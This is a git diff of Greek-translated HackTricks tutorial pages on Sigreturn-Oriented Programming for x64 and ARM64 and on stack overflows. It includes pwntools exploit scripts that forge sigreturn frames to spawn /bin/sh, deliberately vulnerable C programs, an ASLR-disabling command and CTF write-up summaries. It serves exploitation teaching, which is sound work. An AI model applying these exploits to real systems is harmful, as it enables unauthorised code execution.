Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαιτούμενους registries από το stack και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget και να καλέσουμε το syscall.
Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαραίτητους καταχωρητές από τη στοίβα και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget για να καλέσουμε το syscall.
{% hint style="success" %}
Σημειώστε ότι γνωρίζοντας αυτές τις πληροφορίες από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για το παρόν παράδειγμα.
Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση μιας επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα.
{% endhint %}
### Εκμετάλλευση
### Exploit
```python
from pwn import *
@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive()
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# SROP - Προγραμματισμός Προσανατολισμένος στο Sigreturn
# SROP - Sigreturn-Oriented Programming
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Βασικές Πληροφορίες
Το **`Sigreturn`** είναι ένα ειδικό **syscall** που χρησιμοποιείται κυρίως για τον καθαρισμό μετά την ολοκλήρωση ενός χειριστή σήματος. Τα σήματα είναι διακοπές που στέλνονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, παύει προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη για να αντιμετωπίζει τα σήματα.
Μετά την ολοκλήρωση του χειριστή σήματος, το πρόγραμμα πρέπει να **επαναφέρει την προηγούμενη κατάστασή του** ως να μην συνέβη τίποτα. Εδώ είναι που εμφανίζεται το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και επαναφέρει την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (η ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** επαναφέρει την κατάσταση του προγράμματος: το κάνει αυτό αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU** στη στοίβα. Όταν το σήμα δεν είναι πλέον μπλοκαρισμένο, το **`sigreturn`** απομακρύνει αυτές τις τιμές από τη στοίβα, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάστασή τους πριν το χειρισμό του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), που δείχνει στην τρέχουσα κορυφή της στοίβας.
{% hint style="danger" %}
Καλώντας το syscall **`sigreturn`** από μια ROP αλυσίδα και **προσθέτοντας τις τιμές των καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατό να **ελέγξουμε** όλες τις τιμές των καταχωρητών και συνεπώς να **καλέσουμε** για παράδειγμα το syscall `execve` με `/bin/sh`.
{% endhint %}
Σημειώστε πώς αυτό θα ήταν ένας **τύπος Ret2syscall** που καθιστά πολύ πιο εύκολο τον έλεγχο των παραμέτρων για να καλέσει άλλους Ret2syscalls:
## Basic Information
**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
Αφού ο χειριστής σήματος ολοκληρωθεί, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται η **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
Το ενδιαφέρον είναι πώς η **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στη στοίβα.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από τη στοίβα**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας.
{% hint style="danger" %}
Καλώντας τη syscall **`sigreturn`** από μια αλυσίδα ROP και **προσθέτοντας τις τιμές των καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα**, είναι δυνατό να **ελέγξουμε** όλες τις τιμές των καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
{% endhint %}
Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
Αν είστε περίεργοι, αυτή είναι η δομή **sigcontext** που αποθηκεύεται στη στοίβα για να ανακτήσει αργότερα τις τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
Αν είστε περίεργοι, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -68,7 +69,7 @@
| __reserved | sigmask |
+--------------------+--------------------+
```
Για μια καλύτερη εξήγηση, ελέγξτε επίσης:
Για μια καλύτερη εξήγηση ελέγξτε επίσης:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Ελέγξτε επίσης το [**exploit από εδώ**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) όπου το δυαδικό αρχείο καλούσε ήδη το `sigreturn` και επομένως δεν είναι απαραίτητο να το χτίσετε με ένα **ROP**:
Δείτε επίσης το [**exploit από εδώ**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) όπου το δυαδικό αρχείο καλούσε ήδη το `sigreturn` και επομένως δεν είναι απαραίτητο να το κατασκευάσουμε με ένα **ROP**:
```python
from pwn import *
@ -139,12 +140,27 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* Αρχείο συναρμολόγησης που επιτρέπει την **εγγραφή στη στοίβα** και στη συνέχεια καλεί την κλήση συστήματος **`sigreturn`**. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του αρχείου εκτέλεσης.
* Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που είναι μέσα στη μνήμη του binary.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* Αρχείο συναρμολόγησης που επιτρέπει την **εγγραφή στη στοίβα** και στη συνέχεια καλεί την κλήση συστήματος **`sigreturn`**. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το αρχείο εκτέλεσης περιέχει τη συμβολοσειρά `/bin/sh`).
* Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer καταχρώμενη τη λειτουργία `gets` με έλλειψη gadgets που εκτελούν ένα [**ret2syscall**](../rop-syscall-execv/). Η ROP αλυσίδα γράφει το `/bin/sh` στην `.bss` καλώντας ξανά τη gets, καταχρώμενη τη λειτουργία **`alarm`** για να ορίσει τον eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα κέλυφος.
* 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* Πρόγραμμα συναρμολόγησης 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει την εγγραφή στη στοίβα, τον έλεγχο πολλών καταχωρητών και την κλήση ενός συστήματος και στη συνέχεια καλεί την `exit`. Η επιλεγμένη κλήση συστήματος είναι μια `sigreturn` που θα ορίσει καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή συστήματος και να εκτελέσει το `memprotect` για να ορίσει το χώρο του αρχείου εκτέλεσης σε `rwx` και να ορίσει το ESP στον χώρο του αρχείου εκτέλεσης. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά την read στο ESP, αλλά σε αυτήν την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, οπότε περνώντας ένα shellcode θα το γράψει ως την επόμενη εντολή και θα το εκτελέσει.
* 64 bits assembly πρόγραμμα, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελέγξει αρκετούς καταχωρητές και να καλέσει ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode θα το γράψει ως την επόμενη εντολή και θα το εκτελέσει.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Έλεγξε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετοχή στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολούθησέ** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Παράδειγμα Pwntools
Αυτό το παράδειγμα δημιουργεί το ευπαθές δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό **διαβάζει στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`**:
Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο **διαβάζει στη στοίβα** και στη συνέχεια καλεί **`sigreturn`**:
```python
from pwn import *
@ -44,7 +45,7 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## παράδειγμα bof
## bof παράδειγμα
### Κώδικας
```c
@ -79,14 +80,14 @@ do_stuff(2);
return 0;
}
```
Μεταγλωττίστε το με:
Συγκεντρώστε το με:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Εκμετάλλευση
## Exploit
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με ένα δείκτη προς το `/bin/sh`.
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη προς το `/bin/sh`.
```python
from pwn import *
@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## παράδειγμα bof χωρίς sigreturn
## bof παράδειγμα χωρίς sigreturn
### Κώδικας
```c
@ -142,13 +143,13 @@ char* b = gen_stack();
return 0;
}
```
## Εκμετάλλευση
## Exploit
Στην ενότητα **`vdso`** είναι δυνατόν να βρεθεί ένα κάλεσμα στο **`sigreturn`** στη θέση **`0x7b0`**:
Στην ενότητα **`vdso`** είναι δυνατή η εύρεση μιας κλήσης προς **`sigreturn`** στην απόσταση **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει:
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
```python
from pwn import *
@ -177,14 +178,29 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Για περισσότερες πληροφορίες σχετικά με το vdso ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το vdso, ελέγξτε:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2ret2vdso.md)
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh` μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν εκεί, για περισσότερες πληροφορίες:
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh`, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτό, για περισσότερες πληροφορίες:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Υπερχείλιση Στοίβας
# Stack Overflow
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Τι είναι η Υπερχείλιση Στοίβας
## What is a Stack Overflow
Η **υπερχείλιση στοίβας** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στη στοίβα από ό,τι έχει εκχωρηθεί για να κρατήσει. Αυτά τα περισσότερα δεδομένα θα **αντικαταστήσουν τον δίπλα μνημονικό χώρο**, οδηγώντας στη διαφθορά των έγκυρων δεδομένων, στη διαταραχή της ροής ελέγχου και πιθανώς στην εκτέλεση κακόβουλου κώδικα. Αυτό το πρόβλημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν πραγματοποιούν έλεγχο ορίων στην είσοδο.
Μια **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στη στοίβα από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το πρόβλημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Το κύριο πρόβλημα αυτής της υπερχείλισης είναι ότι ο **αποθηκευμένος δείκτης οδηγιών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για την επιστροφή στην προηγούμενη συνάρτηση **αποθηκεύονται στη στοίβα**. Επομένως, ένας επιτιθέμενος θα μπορεί να αντικαταστήσει αυτούς και να **ελέγχει τη ροή εκτέλεσης του προγράμματος**.
